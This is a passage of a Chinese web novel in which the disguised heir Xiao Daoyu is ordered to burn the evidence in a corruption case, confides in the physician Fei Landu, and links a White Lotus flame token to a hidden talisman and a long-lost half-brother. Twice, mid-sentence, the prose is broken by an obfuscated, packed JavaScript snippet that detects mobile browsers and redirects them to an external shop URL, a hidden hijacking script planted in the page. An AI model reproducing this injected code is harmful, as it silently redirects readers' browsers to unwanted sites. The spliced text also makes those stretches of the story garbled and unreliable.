终于,永熙帝合上了账册。他抬起头,目光扫过阶下众臣,声音不高,却清晰地传遍大殿的每个角落: “盐政之弊,朕甚痛心。沈济川辜负皇恩,罪无可赦,其家产抄没,亲眷流放。涉案之漕帮张千帆等,着即处斩,以儆效尤。” 顿了顿,他的目光重新落回萧道煜身上,语气忽然变得意味深长: “至于这些账册……牵涉甚广,若一一深究,恐动摇国本,令朝野不安,边关不宁。盐政积弊,非一日之寒,亦非数人之过。朕思之再三,当以大局为重。” 他抬手,指向御案旁那座巨大的、雕刻着龙凤纹饰的青铜香炉,炉内炭火虽未燃,却在夏日里依旧显出一种沉甸甸的威严。 “萧卿,将这些账册……就此焚毁。此案,到此为止。” “到此为止”四字,如同惊雷,炸响在寂静的大殿中! 许多大臣猛地抬头,脸上露出惊愕、不解,随即又迅速化为庆幸、了然,以及更深沉的复杂情绪。也有少数耿直之臣,面露愤慨,嘴唇翕动,却终究在皇帝平静而威压的目光下,颓然低头。 萧道煜站在原地,一动不动。手中捧着木匣的指尖,微微泛白。 她缓缓抬起头,金瞳直视龙椅上的君王。那目光太亮,太锐,仿佛要穿透冕旒,看清其后那张脸上,究竟写着怎样的权衡与算计。 大局为重……动摇国本……到此为止…… 原来,她九死一生,血染征衣,从扬州带回的,不是肃清吏治的利剑,不是朗朗乾坤的希望,而是一堆……需要被“焚毁”的废纸。 原来,所谓的“代天巡狩”,所谓的“先斩后奏”,所谓的倚重与信任,不过是一场更精致、更残酷的利用。她是皇帝手中最锋利的那把刀,用来劈开最坚硬的藩篱,斩断最盘根错节的利益链条。然而,当荆棘除尽,鲜血流干,这把沾满了血污、可能反噬其主的刀,便到了该被收起、甚至被“处理”的时候。 那账册上密密麻麻的名字,那些与沈济川勾结、吮吸民脂民膏的蠹虫,他们背后的势力,他们盘根错节的关系网,才是皇帝口中的“大局”,才是不能轻易动摇的“国本”。 而她萧道煜,以及那些死在瓜洲渡、死在沂州驿馆的黑鳞卫,还有此刻生死未卜的伊凡……都只是这场权力游戏里,可以被牺牲、被抹去的代价。 一股冰冷的、带着铁锈味的腥气,猛地冲上喉头。萧道煜眼前阵阵发黑,几乎站立不稳。她死死咬住牙关,将那口涌到嘴边的血,硬生生咽了回去。 口腔里,满是浓烈的血腥与苦涩。 大殿内,无数道目光聚焦在她身上。有同情,有幸灾乐祸,有冷漠,也有深藏的恐惧。 萨林站在她身后半步,拳头捏得咯咯作响,绿眸中翻涌着狂怒与不甘,却只能死死压抑。 时间仿佛凝固了。 良久,萧道煜缓缓地、极其缓慢地,弯下了挺直的脊梁。她捧着那紫檀木匣,一步一步,走向御案旁那座青铜香炉。 步履平稳,面容平静,甚至那苍白脸上,还带着一丝近乎漠然的、空洞的神情。 只有离得最近的萨林,能看到她袍袖之下,微微颤抖的指尖,和那双金瞳深处,一闪而过的、仿佛冰层碎裂般的绝望与死寂。 萧道煜在香炉前停下。早有太监机灵地取来火折,点燃了炉中特备的、便于焚烧纸张的炭块。橘红的火苗升起,跳跃不定。 她打开木匣,取出那几本记录着无数罪恶、也浸染着鲜血与牺牲的账册。纸张微微泛黄,墨迹犹存。 没有再看皇帝,也没有看任何人。只是垂着眼,将账册一本一本,投入那跳跃的、贪婪的火焰之中。 火舌迅速舔舐上纸页,边缘卷曲、焦黑,化为灰烬。墨迹在高温下扭曲、消散,如同那些被掩盖的真相,被抹去的罪证,被牺牲的亡灵。 橘红的火光,映亮了她苍白如雪的脸颊,和那双仿佛失去所有温度的金色眼瞳。光影在她脸上跳跃,明明灭灭,如同她此刻心中,那正在崩塌、燃烧、最终化为余烬的某些东西。 烟气袅袅升起,带着纸张燃烧特有的焦糊味,弥漫在大殿之中。有些大臣忍不住皱眉,或轻轻以袖掩鼻。 永熙帝静静地看着火焰吞噬账册,看着萧道煜平静得近乎诡异的侧脸,冕旒下的眼神,幽深难测。 终于,最后一页纸化为飞灰,飘落在香炉下的金砖上,了无痕迹。 萧道煜放下空了的木匣,后退两步,重新跪下,额头触地,声音平稳无波,听不出任何情绪: “臣,遵旨。” “此案,到此为止。” 永熙帝看着她伏地的身影,沉默了片刻,方道:“萧卿劳苦功高,加太子太保衔,赐黄金千两,锦缎百匹,准休假半月,安心养伤。” “谢陛下隆恩。”萧道煜叩首,起身。动作流畅,礼仪周全,无可挑剔。 她甚至微微弯了弯唇角,露出一个极淡的、符合臣子得到封赏后该有的、恭谨而克制的笑容。 只是那笑意,未达眼底。那双金瞳深处,只剩下一片荒芜的冰冷,和燃烧过后的、死寂的灰烬。 转身,一步一步,退出太和殿。绯色蟒袍的下摆,拂过光洁如镜的金砖,悄无声息。 殿外,盛夏的阳光毒辣而刺目,照在殿前广场光洁的石板上,蒸腾起扭曲的热浪。远处宫阙连绵,飞檐重重,如同一座巨大而华丽的囚笼,将她,也将这殿中所有人,牢牢困锁其中。 萧道煜抬起头,望了望那高远得近乎虚假的、被暑气晕染得有些发白的蓝天,深深地、缓缓地,吸了一口灼热窒闷的空气。 然后,她挺直背脊,朝着宫门方向,走去。 步伐依旧沉稳,背影依旧挺拔。 只是那身影落在萨林眼中,却仿佛比离开扬州时,更瘦削,更孤独,也……更令他心头发紧,喉咙哽咽。 北镇抚司衙署后巷,有一处不起眼的小院,门扉常闭,只悬一块乌木小匾,上书“杏隐堂”三字,字迹清癯孤峭。这里是斐兰度的住处兼医馆。他虽挂着太医院院判的虚衔,却极少去衙门点卯,多半时间窝在此处,或钻研医书,或炮制药材,偶尔接诊 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16996018|193874||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 几个旁人治不了的疑难杂症,索价高昂,言语刻薄,京城权贵对其又恨又怕,却又不得不仰仗其医术。 萧道煜的马车停在巷口。她拒绝了萨林的搀扶,独自一人,踏着被烈日晒得发烫的青石板路,走到那扇乌木门前。抬手叩门,三轻一重。 门“吱呀”一声开了条缝,露出斐兰度那张没什么表情的、清癯的脸。他穿着一身半旧不新的葛布直裰,手里还拿着一本泛黄的医书,见是萧道煜,也不惊讶,只侧了侧身:“进来。” 院中不大,收拾得却极干净。墙角种着几丛耐暑的药草,绿意盎然。正房三楹,推开中间的门,一股浓郁而复杂的药香扑面而来,混杂着室内刻意放置的冰盆散发出的凉意。屋内陈设简单,靠墙一排顶天立地的药柜,无数小抽屉上贴着药材名称。临窗一张大书案,堆满了书籍、脉案、药杵铜钵等物。角落里放着一个小巧的冰盆,丝丝凉气逸出,驱散了夏日的酷热。 “坐。”斐兰度指了指书案旁一张铺着竹席的圈椅,自己则走到药柜前,拉开几个抽屉,抓取药材,动作娴熟,对萧道煜苍白如鬼的脸色和肩上未愈的伤痕视若无睹。 萧道煜解下轻薄的外袍,在圈椅中坐下。凉意包裹上来,腹中那持续不断的、闷胀的抽痛似乎缓和了些许,但更深的疲惫,却如同潮水般从四肢百骸蔓延开来,几乎要将她吞没。 她闭上眼,靠在椅背上,能听见斐兰度捣药、称量、煎煮时发出的轻微声响。那些声音规律而清晰,带着某种奇异的、令人安心的力量。在这里,没有朝堂的虚伪与算计,没有鲜血与厮杀,只有药香,和斐兰度那张永远冷淡、却从不掩饰的脸。 不知过了多久,一碗黑褐色的、尚带余温的药汤被放在她手边的矮几上。 “喝了。”斐兰度言简意赅,自己在书案后坐下,重新拿起那本医书,仿佛眼前这位权倾朝野的忠顺世子,不过是个寻常病患。 萧道煜睁开眼,看着那碗浓稠的药汁。苦涩的气味钻入鼻腔,她却没有像往常那样抵触或拖延,而是端起药碗,一饮而尽。温热的药液滑过喉咙,落入胃中,带来一种奇异的安抚感,随即,一股温煦的暖流开始向四肢百骸扩散,缓缓抚慰着那千疮百孔的身体和灵魂。 她放下空碗,指尖无意识摩挲着碗壁粗糙的纹理,目光落在冰盆上凝结的水珠,沉默着。 斐兰度翻了一页书,头也不抬:“肩上的伤,自己脱了上药,还是我来?” 萧道煜这才想起,沂州驿馆肩头被刀锋划过,虽不深,但连日奔波,天气炎热,伤口有些红肿。她解开衣襟,露出瘦削的肩头和那道已经开始结痂、边缘泛红的伤痕。 斐兰度放下书,走过来,取过一旁备好的药膏和干净布条。他的手指修长而稳定,沾了药膏,涂抹在伤口上。药膏清凉,带着淡淡的草药香。他的动作算不上温柔,甚至有些粗率,但力道均匀,精准地覆盖了每一处伤处。 “白莲教的刀,淬了毒,幸好不深,又及时用了解毒散。”斐兰度淡淡道,手下不停,“这天热,再不好生处理,化了脓就麻烦。” 萧道煜“嗯”了一声,没有说话。 “伊凡那小子,”斐兰度忽然又道,语气依旧平淡,“命是捡回来了,后背那道伤,深可见骨,伤了筋脉,往后阴雨天,有的他受。不过也算他命大,那一刀偏了半寸,否则大罗金仙也难救。这大热天的,伤口最易溃烂,能熬过来不容易。” 提到伊凡,萧道煜眼睫微微颤了颤。那个总是低眉顺眼、心思难测的身影,那个在关键时刻扑出来为他挡刀的身影……如今还昏迷在王府别院,由最好的大夫照料。她去看过一次,伊凡脸色惨白地躺在那里,气息微弱,酷热天气里额上却无汗,仿佛随时会消散。那一刻,她心中涌起的,除了后怕,竟还有一丝陌生的、连自己都未曾预料到的……揪痛。 “能醒吗?”她听到自己的声音有些干涩。 “看造化。”斐兰度包扎好伤口,坐回书案后,“失血过多,伤势太重,又拖了那么久才得到像样的救治。就算醒了,人也废了一半。” 萧道煜重新系好衣襟,指尖冰凉。她望着冰盆上缓缓滑落的水珠,沉默。 室内一片寂静,只有窗外聒噪的蝉鸣,和远处隐约传来的、遥远的市井喧嚣。 良久,萧道煜忽然开口,声音很轻,像是在自言自语,又像是在问这满室的药香: “斐先生,你说……人这一生,拼命挣扎,耗尽心血,甚至不惜双手染血,背上罪孽,究竟是为了什么?” 斐兰度翻书的动作顿了顿。他抬起眼,看向萧道煜。这个平日里总是冷冽、强势、仿佛无坚不摧的忠顺世子,此刻靠在竹席椅中,面色苍白,眼神空洞,肩头缠着刺目的白布,像一尊精致而易碎的琉璃人偶,被抽走了所有生气,只剩下无尽的疲惫与迷茫。 “为了活着。”斐兰度移开目光,重新落在书页上,声音没什么起伏,“或者,为了自以为是的‘意义’。比如忠君,比如报国,比如……改变这个你觉得不堪的世道。” “可如果到头来发现,所谓的‘意义’,不过是一场笑话呢?”萧道煜的声音更轻了,带着一丝几不可察的颤抖,“你拼尽全力斩杀的恶龙,不过是另一条更庞大的恶龙身上,一片微不足道的鳞甲。你豁出性命守护的‘大局’,不过是上位者权衡利弊后,随时可以舍弃的棋子。你信奉的律法、公正、真相……在更高的‘权宜’面前,一文不值,可以随手焚毁,抹去,当作从未发生。” 她顿了顿,金瞳深处,那片死寂的灰烬下,仿佛有什么东西在灼烧,在煎熬。 “那么,之前的挣扎,流过的血,死掉的人……又算什么?” 斐兰度沉默了很久。久到萧道煜以为他不会回答了。 “什么也不算。”斐兰度终于放下书,看向她,眼神依旧是那种洞悉一切的、近乎残忍的清醒,“对于这吃人的世道,对于高高在上的掌权者,对于滚滚向前的所谓‘历史’……个人的血泪、信念、牺牲,本就什么也不算。就像一剂药,用对了症,是功臣;用完了,或者用错了,就是药渣,该倒掉了。” 他起身,走到冰盆旁,用铁钳拨了拨盆里的冰块,凉气更盛。 “你问我为了什么。我也答不出。或许,只是为了对得起自己心里那点还没死透的、可笑的念头。又或许,只是为了在彻底变成药渣之前,让自己看起来,不那么像个笑话。” 他转过身,重新看向萧道煜,目光落在对方那微微隆起、即使穿着轻薄夏衣也难完全遮掩的小腹。 “就像你腹中这块‘石瘕’。它因何而生?郁结,压抑,常年伪装,气血不通。它是你身体的一部分,却也日日夜夜折磨着你,提醒着你那些无法言说的痛苦和扭曲。你想除掉它,又怕除掉了,连这痛苦存在的证据都没了,更不知道自己究竟是谁。” 斐兰度的话,像一把冰冷而锋利的手术刀,精准地剖开了萧道煜层层包裹的盔甲,直刺她内心最隐秘、最不堪的伤口。 萧道煜浑身一颤,猛地抬眼看向斐兰度。金瞳之中,震惊、狼狈、痛苦,还有一丝被彻底看穿后的恐慌,交织在一起。 这是她第一次,在另一个人面前,如此赤裸地暴露自己的脆弱、迷茫,以及对自身存在意义的彻底怀疑。那些在朝堂上必须维持的威严,在属下面前必须表现的坚不可摧,在皇帝面前必须展现的忠诚与驯服……在此刻,在这间弥漫着药香与凉意的小屋里,在这个毒舌却一针见血的医者面前,彻底土崩瓦解。 她张了张嘴,想反驳,想辩解,想维持最后一点体面。却发现喉咙像被什么堵住了,一个字也说不出来。只有眼眶,不受控制地泛起一阵酸涩的热意。 她猛地低下头,额前散落的几缕被汗水濡湿的发丝,遮住了她此刻的表情。只有紧握成拳、指节泛白的手,和微微颤抖的肩膀,泄露了她内心剧烈的动荡。 斐兰度没有再说话,只是静静地看着她。那目光里,没有同情,没有怜悯,也没有嘲讽。只有一种近乎冷漠的、医生看待重症病人的平静。 良久,萧道煜才缓缓抬起头。脸上已恢复了惯常的苍白与平静,只是眼角微微有些泛红,金瞳深处,那片死寂的灰烬似乎沉淀了下去,取而代之的,是一种更深沉的、近乎绝望的清明。 “我明白了。”她声音沙哑,却异常清晰。 她站起身,重新披上那件轻薄的外袍。柔软的衣料将瘦削的身形包裹,又重新筑起了一道与外界隔绝的屏障。 “多谢斐先生。”她对着斐兰度,微微颔首。姿态依旧矜贵,语气依旧平淡。 仿佛刚才那个流露出脆弱与迷茫的人,从未存在过。 斐兰度“嗯”了一声,重新拿起医书,仿佛刚才那番对话,不过是诊病过程中的寻常问答。 萧道煜转身,走向门口。手搭在门闩上时,她停顿了一下,没有回头,只轻声说了一句: “伊凡……劳烦先生,尽力。” 说完,她拉开门,走了出去。 夏日的热浪立刻扑面而来,与室内的凉意形成鲜明对比。斐兰度抬起头,望着那扇重新关上的门,听着门外渐渐远去的、平稳而孤独的脚步声,许久,才低低地、几不可闻地叹了口气。 “都是孽障。” 他摇摇头,目光重新落回医书上。冰盆融化,滴水有声,药香依旧。仿佛方才那短暂流露的真心与脆弱,只是这夏日漫长时光里,一个微不足道的、很快就会被蒸发的插曲。 唯有窗台上那盆养着的、据说能“清心祛暑”的薄荷,在热风中微微颤了颤叶子,散发出一缕清冽的、略带辛辣的香气,又归于沉寂。 18. 第 18 章 北镇抚司衙署后堂,冰鉴里的残冰尚未化尽,窗扉半开,初秋的凉风携着院中早凋的梧叶悄然潜入,却吹不散堂内那股子阴寒凝重的气息。 萧道煜褪了朝服,只着一身素白暗云纹的常服,长发未束,松松地以一根墨玉簪挽在脑后,斜倚在临窗的紫檀木贵妃榻上。窗外,暮色渐浓,一弯冷月早早挂上枯枝头,将京城往日喧嚣的市井声都隔绝得远了,只剩下虫鸣断续的寂寥。 她手中把玩着一枚物件。 那是一枚巴掌大小的令牌,沉甸甸的,触手冰凉,似是玄铁铸造,边缘已有些许锈蚀,显是有些年头了。令牌正面,浮雕着一朵盛开的莲花,花瓣层叠,形态妖异,不似寻常莲花那般清雅,反倒透着一股子邪气。莲花中心,并非莲蓬,而是一团熊熊燃烧的火焰纹路,那火焰刻得极深,仿佛要挣脱铁牌的束缚,腾空而起。火焰边缘,还残留着几抹暗红,不知是朱砂彩绘褪色,还是……干涸的血迹。 背面,则是两个古朴的篆字:白莲。 这令牌,是萨林从沂州驿馆劫囚现场,一具被击杀的白莲教徒尸体旁寻获的。当时那具尸体被黑鳞卫的劲弩射穿了咽喉,倒在马厩旁的草料堆里,令牌就压在他身下,若非清理战场时仔细搜检,几乎就要遗漏。 白莲教的火焰令牌……怎么会出现在那里? 萧道煜的金瞳凝在令牌那朵妖异的火焰莲花上,指尖无意识地摩挲着冰凉的铁质边缘。沂州那夜的记忆,随着这枚令牌,再次清晰地浮现在眼前:浓得化不开的毒雾,鬼魅般穿梭的蒙面教徒,悍不畏死的厮杀,还有……那个身形异常高大、头戴狰狞鬼面、使一柄沉重九环鬼头刀的头目。 那鬼面头目的身形、招式,甚至最后撤退时那一声尖利的长啸……都让她有种莫名的、挥之不去的熟悉感。 像谁呢? 脑中倏然闪过一个几乎已被尘封的影子。 一个许多年前,在忠顺王府偏僻角落,偶尔会遇到的、沉默阴郁的少年。比她略小一两岁,眉眼轮廓……依稀与自己有几分相似。那是父亲某个早逝的侍妾所出的庶子,名字……好像叫玉珩?还是道鸿?记不真切了。只记得那少年看人的眼神,总是冷冷的,带着一股子被遗弃的孤狼般的警惕与恨意。后来听说他生母病故,他自己也染了急症,没熬过去,早早“夭折”了。 真的是夭折吗? 萧道煜指尖用力,令牌坚硬的棱角硌得指腹生疼。若那庶弟未死……若他流落江湖,投身白莲教,凭借其王府出身可能学到的武艺见识,混成个头目,甚至…… 这个念头一起,便如藤蔓般疯长,缠绕住她的思绪。白莲教为何偏偏在沂州劫囚?真的是为了救沈济川?还是……另有所图?若首领真是那个“夭折”的庶弟,他对自己,对忠顺王府,甚至对整个萧氏皇族,该怀着怎样的仇恨?而自己这身世,这女扮男装承袭的世子之位,若被知晓…… “世子。”萨林低沉的声音在门外响起,打断了萧道煜的沉思。 “进来。” 萨林推门而入,带进一股初秋夜间的凉气。他肩头沾着两片枯黄的落叶,绿眸在室内昏黄的光线下显得愈发幽深。“查过了。令牌的形制、纹样,与朝廷存档中缴获的白莲教信物基本吻合,应是真品无疑。但这类令牌,多由分舵主以上级别的头目持有,或用于执行重大任务时作为信物。” “也就是说,那夜在沂州,至少有一个分舵主级别的人物亲临现场。”萧道煜缓缓道,将令牌放在榻边的小几上,“那个戴鬼面的头目……” “卑职与之交手,其刀法刚猛暴烈,走的是外家硬功路子,与白莲教以往那些擅长轻身功夫、暗器毒术的头目路数不同。”萨林回忆道,“且其内力颇为深厚,不像寻常江湖草莽。若非雾中有毒,卑职又分心他顾,未必不能将其留下。” “王府旧档中,关于那个‘夭折’的庶子,可还有更多记载?”萧道煜忽然问。 萨林一怔,随即明白世子所指,脸色凝重起来:“卑职已命人去宗人府和王府旧档房暗中调阅。但时隔多年,又是‘夭折’的庶子,恐怕记录寥寥。不过……”他迟疑了一下,“卑职记得,当年似乎有过传闻,说那孩子的生母,并非病故,而是……触怒王爷,被秘密处置了。那孩子也因此被送走,下落不明。” 触怒王爷?被秘密处置?送走? 萧道煜金瞳微眯。忠顺王府后院那些见不得光的阴私事,她自幼耳濡目染,深知其中残酷。一个不得宠的侍妾,一个庶出的儿子,若真碍了谁的眼,或知道了什么不该知道的,“被夭折”简直是再“合理”不过的结局。 若那孩子侥幸未死,怀着对王府、对父亲的刻骨仇恨,流落江湖,最终加入以“反雍复梁”、“弥勒降世”为口号的白莲教,似乎也顺理成章。 而她自己,又何尝不是在这罗网中挣扎求存?女扮男装,如履薄冰。 “继续查。”萧道煜声音冷了下来,“我要知道,那个‘巫道鸿’,到底死没死,若没死,这些年,人在哪里。” “是。”萨林领命,目光瞥见榻上那枚火焰令牌,又道,“还有一事。伊佥事今日醒了。” 萧道煜眼睫微微一颤:“伤势如何?” “斐先生说,命是保住了,但失血过多,伤了根本,需长期静养。后背的刀伤太深,恐会留下残疾,阴雨天疼痛难忍。”萨林语气平淡,听不出情绪,“他醒后,问起世子的安危,也……问起了那夜劫囚之事。” 萧道煜沉默片刻,起身:“我去看看他。” “世子,”萨林忍不住道,“伊凡此人,心思深沉,此番又……卑职觉得,他挡那一刀,未必全然出于忠心。” 萧道煜脚步未停,只淡淡道:“我知道。” 她知道伊凡的忠诚掺杂着野心,知道他的温顺掩盖着算计,甚至知道他那份扭曲的、难以言说的痴妄。但无论如何,那一刀,是实实在在为她挡下的。伊凡此刻还躺在病榻上,生死边缘走了一遭。 这份“人情”,她得认。 推开房门,夜风卷着落叶迎面扑来。萧道煜裹紧身上的玄色披风,踏着廊下被风扫集的枯叶,朝着衙署后院的厢房走去。月光映着她苍白却难掩精致轮廓的面容,金瞳深处,却比这秋夜寒月,更加幽冷难测。 令牌、庶弟、白莲教、沂州劫囚……这些散落的线索,如同暗流下的漩涡,正在缓缓汇聚,酝酿着一场可能席卷而来的、更大的风暴。而她这秘密身份,在这风暴眼中,又能隐藏多久? 伊凡被安置在北镇抚司后院一间僻静的厢房里。此处原是值夜官吏的歇息之所,陈设简单,但胜在清净暖和。斐兰度亲自开了方子,命人煎了药,又留下一个手脚麻利的小药童照看。 萧道煜推门进去时,一股浓重的药味混合着淡淡的血腥气扑面而来。屋内只点了一盏油灯,光线昏暗。伊凡半靠在床头,身上盖着厚厚的锦被,脸色依旧惨白如纸,唇色淡得几乎看不见,唯有那双总是低垂温顺的眼睛,在听到门响时抬起,望向门口,眼底深处掠过一丝微不可察的波动。 “世子……”他挣扎着想坐起,牵动了背后的伤口,顿时疼得额角冒汗,闷哼一声。 “躺着。”萧道煜快步走到床边,抬手虚按了一下。她在床边的圆凳上坐下,目光落在伊凡毫无血色的脸上,又移向他被厚被覆盖、仍能看出身形异常单薄的肩背。“感觉如何?” “谢世子关心……臣……无碍。”伊凡声音沙哑虚弱,每说几个字便要停顿喘息,“只是……给世子添麻烦了。” “是我该谢你。”萧道煜语气平静,“若非你,那一刀落在我身上,后果不堪设想。” 她的话里带着双重意味——那一刀不仅危及性命,更可能暴露她竭力隐藏的秘密。 伊凡轻轻摇头,眼神复杂地看着萧道煜:“臣职责所在……只是,未能护住沈济川,让白莲教劫了去……是臣无能。” 提到白莲教,萧道煜眼神微凝。她从袖中取出那枚火焰令牌,放在床边:“认得这个吗?” 伊凡目光落在令牌上,瞳孔骤然收缩!他伸出手,指尖微微颤抖,似乎想去触碰那朵妖异的火焰莲花,却又在半空中停住。良久,他才缓缓收回手,低声道:“白莲教……火焰令。持此令者,可号令一方教众,非核心人物不可得。”他顿了顿,声音更低,“这令牌……似乎比寻常所见,更旧些。” “你也看出来了。”萧道煜收起令牌,“萨林说,这令牌的形制颇古,像是……十数年前白莲教鼎盛时期所用的式样。” 十数年前……正是那个庶弟“夭折”的大致时间。 伊凡何等机敏,立刻听出了弦外之音。他抬眼看向萧道煜,眼中带着询问。 萧道煜却没有继续说下去,转而问道:“你醒来后,可曾听下面人说起,从沈济川府中查抄的物品,清点得如何了?” 沈济川虽被劫走,但其家产抄没之事并未停止。黑鳞卫和户部、刑部派员共同清点,已持续多日。那些金银珠宝、田产地契自不必说,还有大量往来书信、私人文书、乃至一些见不得光的私密物件,都需要逐一登记造册,甄别筛选。 伊凡主管北镇抚司刑名案卷,对这些流程最是熟悉。他想了想,道:“按例,贵重财物由户部登记入库,寻常物件变卖充公。文书信函等,需由北镇抚司与刑部共同审阅,凡涉及机要或可能关联他案的,需单独剔出,另行处置。这几日……臣未能视事,不知进展如何。” 他语气中带着一丝不易察觉的黯然。身为北镇抚司指挥佥事,却重伤卧床,权柄难免旁落,尤其萨林此刻必定全面接手了他的事务。 萧道煜看出他的心思,淡淡道:“你好生养伤,那些琐事,萨林会处理。待你痊愈,自有更重要的差事交给你。” 这话既是安抚,也是承诺。伊凡心头微暖,垂首道:“臣明白。” “不过,”萧道煜话锋一转,“查抄之物中,若发现任何与白莲教相关的蛛丝马迹,无论巨细,立刻报我。” “是。”伊凡应道,眼中闪过一丝思索,“世子是怀疑……沈济川与白莲教也有勾结?” “未必是勾结。”萧道煜目光幽深,“但白莲教冒险劫他,总要有理由。或许,他知道些什么……或者,他手里有白莲教想要的东西。” 两人又说了几句,萧道煜见伊凡面露疲色,便让他好生休息,起身离开。 走出厢房,月色被薄云遮掩,庭院深深。萧道煜站在廊下,望着院中那株老槐,枝头叶片已黄了大半,在夜风中簌簌作响,偶有几片飘零落下。 她召来一名心腹番子,低声吩咐:“去查抄物品的库房,告诉当值的,将所有从沈济川府中搜出的、非金银珠宝类的零碎物件,尤其是看似不起眼、可能与江湖帮派、民间邪教相关的东西,单独整理出来,晚些时候……我亲自去看。” “是。” 夜色,悄然浓重。 戌时三刻,北镇抚司地下密库。 此处位于衙署最深处,深入地下,以青石垒砌,坚不可摧,仅有少数几个心腹知晓具体位置和开启方法。库内阴冷干燥,常年点着长明灯,光线昏黄,映照着堆积如山的箱笼、木匣。空气里弥漫着尘土、旧纸和淡淡霉味。 萧道煜披着一件黑色斗篷,由萨林引着,步入库中。几名当值的黑鳞卫肃立两侧,见礼后无声退至门口守卫。 “按世子的吩咐,已将可疑之物单独归置在此处。”萨林引着萧道煜走到库房一角。这里摆着几张长条木案,上面分门别类放着许多物件:泛黄的信札、账册残页、破损的玉佩、锈 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16996019|193874||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 蚀的刀剑、甚至还有一些奇形怪状的木雕、石符。 大多是些不起眼的“垃圾”,若非特意吩咐,可能在清点时就当作无用之物丢弃或毁掉了。 萧道煜走到案前,目光缓缓扫过。她并未亲自动手翻检,而是对萨林道:“仔细看看,可有与白莲教相关的印记、符号、文字,或者……与这枚令牌质地、工艺相似的东西。”她再次取出那枚火焰令牌,放在案上作为参照。 萨林应了一声,开始一件件仔细查看。他虽非心思细密如伊凡,但胜在经验丰富,眼光毒辣,尤其对兵刃、江湖物件颇有见识。 时间在寂静中流逝。油灯灯花偶尔爆开,发出轻微的噼啪声。 萧道煜负手而立,耐心等待着。地下寒气森森,即使披着斗篷,也能感到那股子阴冷往骨头缝里钻。她微微蹙眉,身形却依旧挺直。 就在这时,萨林的动作忽然顿住了。他从一堆杂乱的、似乎是孩童玩具的破损木偶和拨浪鼓下面,抽出了一件东西。 那是一个长约半尺、宽约三寸的扁平木盒,材质普通,像是寻常的樟木,表面没有任何装饰,盒盖上落着一层薄灰。萨林拂去灰尘,打开盒盖。 里面并无珍宝,只有几样零碎物品:一支断裂的玉簪,几颗颜色暗淡的珍珠,一枚生锈的铜钱,还有……一块折叠起来的、颜色暗黄的绢布。 萨林展开绢布。布质粗糙,边缘已有些许破损。上面以朱砂画着一些扭曲诡异的符号和线条,似字非字,似图非图,透着一股子邪异的气息。而在绢布的中心位置,赫然用更深的朱砂,画着一朵简笔的莲花,莲花中心,也是一团火焰的纹样! 虽然画工粗糙,但那火焰莲花的形态,与案上那枚玄铁令牌上的浮雕,竟有七八分相似! “世子!”萨林沉声唤道,将绢布呈上。 萧道煜接过绢布,金瞳瞬间收缩。她的目光死死盯住那火焰莲花,以及周围那些诡异的符号。这些符号……她似乎在什么地方见过。不是在北镇抚司的卷宗里,而是更早,更久远……在忠顺王府,某个早已被遗忘的角落? “这盒子是从哪里搜出来的?”她声音有些发紧。 萨林看向一旁负责登记的黑鳞卫。那黑鳞卫急忙翻看手中的册子,仔细核对后,禀报道:“回世子,此物标注是从沈济川府中,西跨院一处废弃小佛堂的佛龛暗格里发现的。那佛堂据说早已不用,堆放杂物。” 佛堂?暗格?藏匿如此隐秘…… 萧道煜指尖抚过绢布上那粗糙的朱砂痕迹。朱砂颜色暗沉,显然有些年月了。这不是新近之物。 “除了这个,还有别的吗?类似的符箓、印记,或者……与这绢布、木盒相关的记载?”她追问。 黑鳞卫又仔细查阅册子,摇头:“册上只记了‘旧木盒一,内杂物若干’,并无更详尽的描述。其他物品中也未再见类似符号。” 萧道煜不再说话,只是将那块绢布紧紧攥在手中。粗糙的布料摩擦着掌心,那诡异的朱砂符号,仿佛带着某种不祥的灼热感,透过皮肤,一直烫到她心里。 白莲教的火焰令牌,出现在劫囚现场。 疑似白莲教符箓的绢布,藏在沈济川府中废弃佛堂的暗格里。 而沈济川,被白莲教冒险劫走。 这中间,到底藏着怎样的关联?沈济川一个朝廷命官,都转运盐使,为何会私藏白莲教的邪符?是他与白莲教早有勾结,还是……这邪符另有用处,甚至可能牵连到更高处? 那个“夭折”的庶弟巫道鸿……若真是白莲教头目,他与沈济川,又有何关系? 无数疑团如同这地下库房的阴冷空气,将她层层包裹。萧道煜感到一阵寒意从脊椎升起,比这石室的温度,更加彻骨。 她收起绢布和令牌,对萨林道:“今夜所见,不得泄露半字。这木盒和里面的其他东西,原地封存,没有我的手令,任何人不得查看。” “是!” “另外,”萧道煜转身,朝着库房门口走去,声音在空旷的石室里带着回音,“加派人手,盯紧西苑。” “西苑?”萨林一怔。那是太上皇景明帝颐养天年之所。 “对,西苑。”萧道煜脚步未停,金瞳在昏暗的光线下,闪烁着冰冷而锐利的光,“尤其是……任何可能与宫外,特别是与江湖势力往来的迹象。” 萨林心头一震,似乎明白了什么,肃然应道:“卑职明白!” 走出地下密库,回到地面。夜空如墨,云遮残月,只有萧瑟的秋风,卷着落叶,扑打在脸上,带着初秋特有的、渗入骨髓的凉意。 萧道煜站在北镇抚司后院的空地上,仰头望着漆黑的天幕。手中那块暗黄的绢布,和那枚冰凉的玄铁令牌,沉甸甸地压在她的心头,也压在这座庞大帝国看似平静的表象之下。 火焰莲花,白莲令牌,废弃佛堂的邪符,沂州迷雾中的鬼面人,还有深宫西苑那位看似颐养天年、却从未真正放权的太上皇…… 